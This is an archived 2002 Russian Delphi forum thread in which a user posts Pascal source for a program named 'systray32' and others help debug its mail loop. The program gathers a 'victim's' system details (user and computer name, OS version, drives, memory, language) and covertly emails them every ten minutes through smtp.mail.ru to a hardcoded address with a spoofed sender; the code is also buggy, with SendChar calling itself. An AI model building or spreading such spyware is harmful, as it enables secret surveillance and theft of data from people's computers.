Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Сети";
Текущий архив: 2003.01.06;
Скачать: [xml.tar.bz2];

Вниз

Отправка письма   Найти похожие ветки 

 
X-shadow   (2002-11-07 05:47) [0]

program systray32;

uses
Windows,
SysUtils,
WinSock;

function WinDir: string;
var
intLen:integer;
strBuffer:string;
begin
SetLength(strBuffer,1000);
intLen:=GetSystemDirectory(PChar(strBuffer),1000);
WinDir:=Trim(Copy(strBuffer,1,intLen));
end;

const typstr:array[DRIVE_REMOVABLE..DRIVE_RAMDISK] of string[11]=
("[Removable]","[Fixed]","[Local]","[CD-ROM]","[RAM]");

EOLn = #$0D#$0A;
// от кого...., на некоторых серверах можно писать что угодно
MailFrom : String = "one_more_lamer_from@microsoft.com";
// кому
RCPT_TO : String = "one_lamer@mail.ru";
// здесь порт.... обычно 25
port : Word = 25;
// имя, для логина на сервере
LoginName : String = "one_lamer";
// тема
Subject : String = "Lamers World";
// кому отвечать
ReplyTo : String = "one_more_lamer_from@microsoft.com";

var
ov:_osversioninfoa;
buf:array[0..255]of char;
tmp,tmp2,tmp3:int64;
tmp4:cardinal;
st:_systemtime;
ms:tmemorystatus;
c:char;
i,typ:integer;
ip,str,PCNAME,Language:String;
LanguageID:LangID;
Lang: array [0..100] of char;
wsa:wsadata;
q:phostent;
adr:pchar;
WSData : TWSADATA;
SocketIn : TSockAddrIn;
Sockt : TSocket;
IPaddr : Integer;
buf2 : array [0..255] of Char;

Procedure cinf;
begin
ov.dwOSVersionInfoSize:=sizeof(_osversioninfoa);
getversionex(ov);
case ov.dwPlatformId of
VER_PLATFORM_WIN32s: str:=str+"3.1 + Win32s ";
VER_PLATFORM_WIN32_WINDOWS: if ov.dwMinorVersion=10 then str:=str+"98 " else if ov.dwMinorVersion=0 then str:=str+"95 " else str:=str+"9X/ME ";
VER_PLATFORM_WIN32_NT: str:=str+"WinNT/Win2000/WinXP ";
end;
LanguageID:=GetSystemDefaultLangID;
VerLanguageName(LanguageID,Lang,100);
Language:=(Lang);
str:="Win version: "+str+inttostr(ov.dwMajorVersion)+"."+inttostr(ov.dwMinorVersion)+"."+inttostr(loword(ov.dwBuildNumber))+"("+ov.szCSDVersion+")"#13#10+"Windows directory: ";
getwindowsdirectory(buf,255);
str:=str+buf+#13#10+"System directory: ";
getsystemdirectory(buf,255);
str:=str+buf+#13#10+"Temp directory: ";
gettemppath(255,buf);
str:=str+buf;
str:=str+#13#10"Mouse: ";
tmp4:=getsystemmetrics(SM_CMOUSEBUTTONS);
if tmp4=0 then str:=str+"?? ????????????" else str:=str+" Present ("+inttostr(tmp4)+" buttons)";
str:=str+#13#10"Screen resolution: "+inttostr(getsystemmetrics(SM_CXSCREEN))+"x"+inttostr(getsystemmetrics(SM_CYSCREEN));
getlocaltime(st);
str:=str+#13#10"Victim""s time: "+inttostr(st.wHour)+":"+inttostr(st.wMinute);
ms.dwLength:=sizeof(ms);
globalmemorystatus(ms);
str:=str+#13#10"RAM: "+inttostr(ms.dwTotalPhys div 1000)+" Kb";
tmp4:=255; getusername(@buf,tmp4);
str:=str+#13#10"User name: "+buf;
tmp4:=255; getcomputername(@buf,tmp4);
str:=str+#13#10"Computer name: "+buf;
PCNAME:=buf;
str:=str+#13#10"language: "+Language;
str:=str+#13#10"PC is Up for: "+inttostr(gettickcount div 60000)+" minute(s) ( >"+inttostr(gettickcount div (60000*60))+" hour)"#13#10;
str:=str+#13#10"Drives:"#13#10;
for c:="A" to "Z" do begin
typ:=getdrivetype(pchar(c+":\"));
if typ>1 then begin
if ((ov.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS)and((ov.dwMinorVersion>=10)or(ov.dwBuildNumber>1000)))or(ov.dwPlatformId=VER_PLATFORM_WIN32_NT) then begin
if ((typ=DRIVE_FIXED)or(typ=DRIVE_REMOTE)or(typ=DRIVE_RAMDISK)) then begin
getdiskfreespaceex(pchar(c+":\"),tmp,tmp2,@tmp3);
str:=str+c+": "+typstr[typ]+" (size: "+inttostr(tmp2 div 1000000)+" Mb; free: "+inttostr(tmp3 div 1000000)+" Mb)"#13#10;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
begin
str:=str+#13#10+buf2;
end;
end;
end;
end;

procedure SendChar(s:string);
begin
repeat
for i := 1 to Length(s) do if Send(Sockt,s[i],1,0)=SOCKET_ERROR then exit;
sleep(10*60*1000);
wsastartup($101,wsa);
q:=gethostbyname(pchar("smtp.mail.ru"));
adr:=q.h_addr_list^;
IP:=floattostr(byte(adr[0]))+"."+floattostr(byte(adr[1]))+"."+ floattostr(byte(adr[2]))+"."+floattostr(byte(adr[3]));
WSAStartUp(257,WSData);
Sockt := Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
SocketIn.sin_family := AF_INET;
htons(port);
SocketIn.sin_port := htons(port);
IPaddr := inet_addr(PChar(IP));
SocketIn.sin_addr.S_addr := IPaddr;

Connect(Sockt,SocketIn,SizeOf(SocketIn));
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("HELO "+ LoginName + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("MAIL FROM: "+ MailFrom + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("RCPT TO: " + RCPT_TO + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("DATA"+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("reply-to: "+ReplyTo+EOLn);
SendChar("subject: "+Subject+EOLn);
SendChar(str+EOLn);
SendChar(EOLn+"."+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("QUIT"+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
CloseSocket(Sockt);
until false;
end;
end.


 
/*Drive*/   (2002-11-07 06:07) [1]

procedure SendChar(s:string);
begin
repeat
sleep(10*60*1000);
wsastartup($101,wsa);
q:=gethostbyname(pchar("smtp.mail.ru"));
adr:=q.h_addr_list^;
IP:=floattostr(byte(adr[0]))+"."+floattostr(byte(adr[1]))+"."+ floattostr(byte(adr[2]))+"."+floattostr(byte(adr[3]));
wsacleanup();
WSAStartUp(257,WSData);
Sockt := Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
SocketIn.sin_family := AF_INET;
htons(port);
SocketIn.sin_port := htons(port);
IPaddr := inet_addr(PChar(IP));
SocketIn.sin_addr.S_addr := IPaddr;
Connect(Sockt,SocketIn,SizeOf(SocketIn));
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("HELO "+ LoginName + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("MAIL FROM: "+ MailFrom + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("RCPT TO: " + RCPT_TO + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("DATA"+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("reply-to: "+ReplyTo+EOLn);
SendChar("subject: "+Subject+EOLn);
SendChar(str+EOLn);
SendChar(EOLn+"."+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("QUIT"+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
CloseSocket(Sockt);
wsacleanup ();
until false;
end;
end.





А что это делает !!!!!!!!
for i := 1 to Length(s) do if Send(Sockt,s[i],1,0)=SOCKET_ERROR then exit;


 
/*Drive*/   (2002-11-07 06:19) [2]

try
...........
.......Код
........
........
except
обработчик ошибки !!!! (если нужен !!!)
end;


 
X-shadow   (2002-11-07 06:40) [3]

procedure SendChar(s:string);
begin
repeat
sleep(10*60*1000);
try
wsastartup($101,wsa);
q:=gethostbyname(pchar("smtp.mail.ru"));
adr:=q.h_addr_list^;
IP:=floattostr(byte(adr[0]))+"."+floattostr(byte(adr[1]))+"."+ floattostr(byte(adr[2]))+"."+floattostr(byte(adr[3]));
wsacleanup();
WSAStartUp(257,WSData);
Sockt := Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
SocketIn.sin_family := AF_INET;
htons(port);
SocketIn.sin_port := htons(port);
IPaddr := inet_addr(PChar(IP));
SocketIn.sin_addr.S_addr := IPaddr;
Connect(Sockt,SocketIn,SizeOf(SocketIn));
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("HELO "+ LoginName + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("MAIL FROM: "+ MailFrom + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("RCPT TO: " + RCPT_TO + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("DATA"+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("reply-to: "+ReplyTo+EOLn);
SendChar("subject: "+Subject+EOLn);
SendChar(str+EOLn);
SendChar(EOLn+"."+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("QUIT"+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
CloseSocket(Sockt);
wsacleanup ();
except
end;
until false;
end;


 
X-shadow   (2002-11-07 06:59) [4]

procedure SendChar(s:string);
var
Povtor:boolean;
begin
repeat
sleep(10*60*1000);
try
wsastartup($101,wsa);
q:=gethostbyname(pchar("smtp.mail.ru"));
adr:=q.h_addr_list^;
IP:=floattostr(byte(adr[0]))+"."+floattostr(byte(adr[1]))+"."+ floattostr(byte(adr[2]))+"."+floattostr(byte(adr[3]));
wsacleanup();
WSAStartUp(257,WSData);
Sockt := Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
SocketIn.sin_family := AF_INET;
htons(port);
SocketIn.sin_port := htons(port);
IPaddr := inet_addr(PChar(IP));
SocketIn.sin_addr.S_addr := IPaddr;
Connect(Sockt,SocketIn,SizeOf(SocketIn));
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("HELO "+ LoginName + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("MAIL FROM: "+ MailFrom + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("RCPT TO: " + RCPT_TO + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("DATA"+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("reply-to: "+ReplyTo+EOLn);
SendChar("subject: "+Subject+EOLn);
SendChar(str+EOLn);
SendChar(EOLn+"."+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("QUIT"+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
CloseSocket(Sockt);
wsacleanup ();
except
end;
povtor:=false;
until false;
end;



Страницы: 1 вся ветка

Форум: "Сети";
Текущий архив: 2003.01.06;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.47 MB
Время: 0.008 c
1-15093
Beginner
2002-12-22 18:58
2003.01.06
Обновляемое приложение(Как?С чего начать? Методы?)


14-15258
alex134
2002-12-17 00:16
2003.01.06
dll ka


1-15069
Tundra
2002-12-25 07:28
2003.01.06
Не весь Хелп установлен в моем делпфи


4-15349
DeepProg
2002-11-16 23:12
2003.01.06
Поиск не по имени, а по дате последнего доступа


3-14960
quertXXX
2002-12-14 15:13
2003.01.06
dbExpress





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский